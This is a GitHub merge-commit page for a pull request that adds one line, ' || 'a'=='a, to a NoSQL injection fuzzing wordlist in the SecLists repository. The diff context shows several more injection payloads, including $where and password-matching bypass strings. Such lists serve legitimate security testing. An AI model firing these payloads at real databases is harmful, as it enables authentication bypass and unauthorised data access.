Merge pull request danielmiessler#502 from danrneal/patch-1

Add string js or injection
riskyend · Sep 16, 2020 · 411cae8 · 411cae8
2 parents e3d31ed + 68fe48d
commit 411cae8
Showing 1 changed file with 1 addition and 0 deletions.
diff --git a/Fuzzing/Databases/NoSQL.txt b/Fuzzing/Databases/NoSQL.txt
@@ -9,6 +9,7 @@ $where: '1 == 1'
 db.injection.insert({success:1});
 db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
 || 1==1
+' || 'a'=='a
 ' && this.password.match(/.*/)//+%00
 ' && this.passwordzz.match(/.*/)//+%00
 '%20%26%26%20this.password.match(/.*/)//+%00